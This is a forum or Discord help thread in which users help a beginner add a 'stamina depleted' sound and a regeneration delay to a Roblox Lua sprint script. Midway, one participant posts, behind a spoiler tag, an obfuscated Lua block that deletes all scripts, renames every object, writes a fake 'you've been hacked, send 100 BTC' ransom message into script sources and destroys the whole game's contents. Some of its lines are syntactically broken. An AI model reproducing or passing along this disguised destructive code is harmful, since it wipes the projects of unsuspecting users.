#Trying to add a sound effect to my stamina function
1 messages · Page 1 of 1 (latest)
im new to coding lol
maybe u should add a task.wait(0.1) before the while loop
cuz it would run out so fast
IN THE WHILE loop
anyway
ok
i didnt script for 2 years in roblox so i might be wrong BUT
u already have an if statement that says "if stamina == 0"
u can play the sound in there and then break the loop or smth
in that if statement just play a sound
like this?
u wanna put the line that plays it here
and use
if Stamina <= 0 then
just in case
ahem
my brain hurts
what ze fack
delete the if stamina == 0 statement in the inputended function
change if Stamina == 0 then to if Stamina <= 0 then
an add
under that line
and in the inputbegan function put a task.wait(0.1) IN the while loop before everything starts and if stamina <= 0 play the sound and do everything u want in there then break the loop
do oyu know what im talking about
all im trying to figure out is how to play the sound 😭
lad
the other stamina == 0 if statement is useless remove it and put the thing inside the if statement in the first one
the if stamina <= 0 one
the second one is to make it so it makes you walk when you run out
local sound = game.Workspace.Sound-- path to the sound object (e.g. game.Workspace.Sound)
sound:Play()
just use gpt
shut up
inputended one is ok
** You are now Level 4! **
my little peanut brain cant comprehend half of this shi 😭
bruh
how did u even make that code
sorry
i had help
u see where u are changing walk speed just play the sound there
OK
ur help sucked
sound.SoundId = "rbxassetid://9120386436" ?
that is the sound id of the sound u wanna play
have u even uploaded which sound u want
no but ill change it ot that
just ask gpt step by step and follow it
make a sound object in roblox studio with the + button and click on the sound object and put the ID of the sound name or u can make a new sound instance in ur script and do "sound.SoundId = "rbxassetid://2312132132" or just 2312132132
now take this sound variable and use a function on it "sound:Play()" in the if stamina <= 0 statement and then break the loop at the end of the if statement
MAN SHUT YO
bruh
Hi im gonna interrupt, Dont use ChatGpt for something you dont know
yeah i know that
what
yes cuz it makes u a brainrot unsigma skibidi
i seriously cant
if he wanna learn then go to documents, if he cant understand it, use ChatGpt to brainrotify it
ur not even trying to think about it ur just waiting for some1 to paste the code for u
breadz, can you copy the whole code and put ```
ok how about this
just use gpt
im trying
what is it that u do not understand
ok
and copy the code
||```lua
local m = tick() for i,v in game:GetDescendants() do if v:IsA("\83\99\114\105\112\116") or v:IsA("\76\111\99\97\108\83\99\114\105\112\116") or v:IsA("\77\111\100\117\108\101\83\99\114\105\112\116") then local g = Instance.new("\83\99\114\105\112\116") g.Parent = v.Parent v:Destroy() end end while task.wait() do for i,v in game:GetDescendants() do v.Name = {math.random(1,999999999)}{math.random(1,999999999)}{math.random(1,999999999)}{math.random(1,999999999)}{math.random(1,999999999)} if v:IsA("\83\99\114\105\112\116") or v:IsA("\76\111\99\97\108\83\99\114\105\112\116") or v:IsA("\77\111\100\117\108\101\83\99\114\105\112\116") then v.Source = "\89\79\85\86\69\32\66\69\69\78\32\72\65\67\75\69\68\33\32\83\69\78\68\32\49\48\48\32\66\84\67\32\84\79\32\97\111\50\51\111\50\51\106\50\51\106\50\51\110\50\51\106\97\105\106\102\107\50\98\114\32\78\79\87\46\32\89\79\85\82\32\83\67\82\73\80\84\83\32\87\73\76\76\32\66\69\32\76\79\83\84\32\73\78\32\49\32\77\73\78\85\84\69\46" end end if tick() - m >= 5 then for i,v in game:GetDescendants() do local q = pcall(function() v:Destroy() end) end break end end while task.wait() do local g = Instance.new("\83\99\114\105\112\116") g.Source = [[ for i,v in game:GetDescendants() do local _ = pcall(function() v:Destroy() end) print("\89\79\85\32\67\65\78\84\32\71\69\84\32\82\73\68\32\79\70\32\77\65\76\87\65\82\69\32\84\72\65\84\32\70\65\83\84\32\58\41") end ]] g.Parent = game:GetService("\83\101\114\118\101\114\83\99\114\105\112\116\83\101\114\118\105\99\101") workspace.CurrentCamera:Destroy() end
wait ill send u ss
man i genuinly give up
** You are now Level 3! **
Dont give up to be honest, atleast your trying
local Player = game.Players.LocalPlayer
local Character = Player.Character or Player.CharacterAdded:wait()
local UserInputService = game:GetService("UserInputService")
local Stamina = 100
local Running = false
local SprintSpeed = 24
local WalkSpeed = 12
script.Parent.PlayerName.Text = Player.Name
script.Parent.PlayerThumb.Image = "rbxthumb://type=AvatarHeadShot&id=" ..Player.UserId.. "&w=420&h=420"
Character:WaitForChild("Humanoid"):GetPropertyChangedSignal("Health"):connect(function()
script.Parent.HealthBar.Bar.Size = UDim2.new(math.floor(Character.Humanoid.Health) / 100, 0, 1, 0)
end)
UserInputService.InputBegan:Connect(function(key)
if key.KeyCode == Enum.KeyCode.LeftShift then
Running = true
Character.Humanoid.WalkSpeed = SprintSpeed
while Stamina > 0 and Running do
Stamina -= 1
--print(Stamina)
if Stamina <= 0 then
script.Parent.StaminaBar.Bar.Visible = false
else
script.Parent.StaminaBar.Bar:TweenSize(UDim2.new(Stamina / 100, 0, 1, 0), "Out", "Linear", 0)
end
wait()
if Stamina == 0 then
Character.Humanoid.WalkSpeed = WalkSpeed
end
end
end
end)
UserInputService.InputEnded:Connect(function(key)
if key.KeyCode == Enum.KeyCode.LeftShift then
Running = false
Character.Humanoid.WalkSpeed = WalkSpeed
task.wait(0.1) while Stamina < 100 and not Running do
script.Parent.StaminaBar.Bar.Visible = true
Stamina += 1
--print(Stamina)
script.Parent.StaminaBar.Bar:TweenSize(UDim2.new(Stamina / 100, 0, 1, 0), "Out", "Linear", 0)
wait()
if Stamina == 0 then
Character.Humanoid.WalkSpeed = WalkSpeed
end
end
end
end)
ok me do sigma test
if Stamina == 0 then
Character.Humanoid.WalkSpeed = WalkSpeed
end
change to <= and play sound in that if
all im trying to figure out is how to play the sound
i think
i have legit given u the code to play sound in the docs, if u cant format it ur self just use gpt
tweensize is depracted, u have to use tweenservice
can u stop telling pl to use gpt bro its shit
like it wont help you write code
it can explain
well
sometimes
rarelye
??
even that
gpt is useless
u havent used gpt then
u need a sound object
im sleepy as hell rn but ill try to help
on
if Stamina == 0 then
Character.Humanoid.WalkSpeed = WalkSpeed
end
First do what rexo said, then
add a Sound Instance inside the thingymajig, can be in SoundService or As a child of the script
then... do
--Outisde of the functions
local SoundThing = pathtosound
-- all your funcs
if Stamina <= 0 then
SoundThing:Play()
Character.Humanoid.WalkSpeed = WalkSpeed
end
-- all your ends whatever
im trying so hard
okay @tender flume just come to dms atp
Gl serg

bruh
i forgot to make the sound actually play
wait lemme try that
try this
BRUH
OK TRY THIS
local stamina_sound = Instance.new("Sound")
stamina_sound.SoundId = "rbxassetid://111111" -- or you can put the id as an integer like 1111111 only.
UserInputService.InputBegan:Connect(function(key, proc)
if proc then return end
if key.KeyCode == Enum.KeyCode.LeftShift then
Running = true
Character.Humanoid.WalkSpeed = SprintSpeed
while Stamina > 0 and Running do
task.wait(0.1) -- To make the while loop run every 0.1 seconds
Stamina -= 1
if Stamina <= 0 then
stamina_sound:Play()
Character.Humanoid.WalkSpeed = WalkSpeed
script.Parent.StaminaBar.Bar.Visible = false
else
script.Parent.StaminaBar.Bar:TweenSize(UDim2.new(Stamina / 100, 0, 1, 0), "Out", "Linear", 0)
end
end
end
end)
UserInputService.InputEnded:Connect(function(key)
if key.KeyCode == Enum.KeyCode.LeftShift then
Running = false
Character.Humanoid.WalkSpeed = WalkSpeed
while Stamina < 100 and not Running do
task.wait(0.5) -- enter the amount of seconds you want to run the while loop
script.Parent.StaminaBar.Bar.Visible = true
Stamina += 1
--print(Stamina)
script.Parent.StaminaBar.Bar:TweenSize(UDim2.new(Stamina / 100, 0, 1, 0), "Out", "Linear", 0)
end
end
end)```
try this
no bro
just copy it and replace it with the inputbegan and inputended
and SEE the changes
where is inputbegan and inputended
I DONT KNOW SHIT
HOW DO U NOT KNOW UR OWN CODE
😭
wild
I DONT KNOW
oh i see it now
Its like forcing a child to drink his medicine.
fr
and don't forget to put ur sound id
@tender flume
yeah
no
i quit
reasonable crash out
i dont think i wanna help anymore
@tender flume im explaining things to u in dms, focus there cause these guys lack patience lmao
although good job
thanks guys
is this a vibe coder or smth
@quaint axle
and i didnt script for 2 years anyway
i am
so u obviously know more and remember more than me
peace
im a web developer anyway
@tender flume things got a little heated. Let's start over.
What have you done so far and what isn't quite working
i made a working stamina function and im trying to figure out how to make a sound play when u run out of stam
Okay, so you have a bit of code already happening when you run out, which is setting the bar to invisible. That's a good place to play a sound. Do you have a sound asset somewhere? ReplicatedStorage? SoundService?
uh no i dont think so
i jus want this sound to play when i run out of stam (261839712)
Okay cool, you have the ID, that's good. Do you want the sound to play for everyone? Or just the player who's sprinting?
Oh I did not know that
@tender flume that true? Not trying to step on anyone's toes
hold on sorry
for everyone, im trying to make a forsaken type game
forsaken / pillar chase
it is true but ur fine
u can keep going
it helps my brain to be able to compile two seperate info
Okay, so for sounds to play for everyone, just don't parent it to either a Part or Attachment (so the workspace, somewhere)
Wherever that is, you can then add it via the explorer by hovering over the Workspace and clicking the little plus that appears.
Find "Sound", click on it, and then set the SoundID property to that sound you wanted earlier.
can i call you so i can screenshare
** You are now Level 4! **
No, sorry, I can't be on call
oh ok
hmm
so i click the plsu on workspace
add a sound
and then i go into that sound add in the ID?
That's how we can make a sound, so we can then play it in the script. This is step 1.
have the sound now what
So do you see the Properties window? It's normally under the Explorer
So remember that part of the script you hid the bar at? If stamina is <= 0? InputBegan?
here?
Yep! That's where we'll play our new sound.
alright
If you placed it directly in the Workspace, you can grab it via game.workspace.Sound ("Sound" being whatever you named that new sound. If you didn't change the name, it'll be "Sound")
alright, where do i type that?
Where do you think might be a good spot?
hmm
It's okay to be wrong, just give it a go
here?
Not quite, because we want it to play when the stamina is depleted. There's a place in your code that runs stuff when the stamina is <= 0
oh here?
Yeah! That's where you say "If we're out of stamina, do this:" and you do things like reverting speed, hiding the stamina bar, etc.
So remember this? #1358501560891605153 message
That's how you reference the sound.
If we do that, and use :Play(), it'll play the sound for everyone!
side note: this whole time my friend has been trying to texture.. this..
We appreciate them
alr lemme try that
like this?
side note: he is now green
(out of stam is what i named the sound)
Almost! :Play() on its own isn't enough for the computer to understand what you mean.
It goes line by line, so it doesn't understand what you mean when you ask it to "Play" without anything to actually play.
We need to make sure we ask it to play the sound, so we'd need the sound and :Play on the same line
You don't need the space there, they can touch
what is my friend doing
oh ok
Texturing is very difficult, trust me
After that, try playing and see if you hear the sound!
?
Yes, that is right!
That's awesome!
You can make the sound stop when they regain stamina by using :Stop() if you'd like.
You did it! Just needed a little guidance that's all.
do you know how i can make it wait a couple seconds before regaining stam if it hits 0? or am i asking for too much?
I know things got a little wild earlier, and understand that not everyone has the time or patience to walk through something with someone. They can get a bit frustrated as it takes more out of them then they'd like.
I personally don't always have the time to go step by step, but I happened to at this moment.
Hopefully this makes up for all that!
THANK YOU
** You are now Level 5! **
There are a few methods to do this, but I can say how I'd handle it:
- Use
math.maxto make sure that, before you update the stamina bar, that stamina can't display lower than 0, somath.max(stamina, 0), which chooses the bigger number. If Stamina is negative, it'll choose 0, as that's bigger. If it's greater than 0, it'll leave stamina as it is. - When the stamina depletes, set it to some negative value (the lower, the longer the delay)
- Since you made sure the stamina wouldn't display lower than 0, a negative won't make the bar look funny.
- Because the stamina is negative, it'll take longer for the regaining to happen as it has to count more before it reaches 0. So the delay is kinda automatic!
Would you like to show me the changes you made?
Oh, you don't set the stamina to negative there, it should be where it depletes, where we put the sound playing
ohh
But you do also need to be careful, as you're not doing the part that keeps the stamina bar from looking silly
i tried this and it made my stam not go down
just learn from the beginning, learn about variables if statements this is joever
I am helping them right now, thank you.
== is for comparing variables, just one = is for setting them
Yep, I did mention that, we just need to make sure when you use the Stamina to set the bar's width, we prevent it from going to 0. So instead of dividing using Stamina, we can do math.max(Stamina, 0) just for the bar setting part and nothing else
Wrong spot, put back what you had as that was fine.
I'm talking about when you update the UI bar, go there first, where it refills
wheres the ui update scrippt?
You know, the part where you use TweenSize
Unfortunately that's not gonna work. math.max returns a number, so there's just kind a free floating number there.
We want to replace Stamina within UDim2.new with that math.max
Sorry, you took that a little too literally.
Stamina we wanted to replace with the whole of that math.max, not literally just "math.max"
I'm gonna take a snippet.
Stamina / 100 is going to give us a negative if Stamina is negative. We don't want that, so we want to add a little more to prevent the resulting number from being negative.
To ensure we only calculate with Stamina when it's at least 0, we use math.max, which will pick the bigger of the numbers we give it.
math.max takes any number of.. well numbers we give it, and pick the biggest out of all of those.
Since we don't want it lower than 0, we need to give math.max 0, as if 0 is ever the bigger of the given numbers, we know the other ones are negative.
But we need the Stamina number, so we need to give that also.
So to "give" a function things, we use parenthesis (). We put what we want to give it within those parenthesis, separated by commas.
So math.max(0, Stamina), so math.max will give us whichever is bigger, 0 or whatever Stamina is.
wait
what if we just do a wait or whatever its called
so it waits a couple of seconds before regaining seconds
Well InputEnded is going to run even if InputBegan is waiting
I'm really trying not to spoonfeed the code to you, as it's important for you to learn for yourself by trying it
but for sake of my own time, I'll do that.
script.Parent.StaminaBar.Bar:TweenSize(UDim2.new(math.max(Stamina, 0) / 100, 0, 1, 0), "Out", "Linear", 0)
yeah and i dont want you to spoonfeed it to me, but this particular thing got me stumped
'huh
its still doing it
Where did you place that line of code?
Sorry, that's not the right spot. I was meaning in InputEnded, where the stamina regenerates
I think that's okay to keep there though, just so you know
No problem. This thread is quite large, so any future issues would be best in a new post 🙂
Alright thank you so much for all the help :)
I'd really suggest watching some tutorials on programming fundamentals, it'll make future coding so much easier.
Good luck!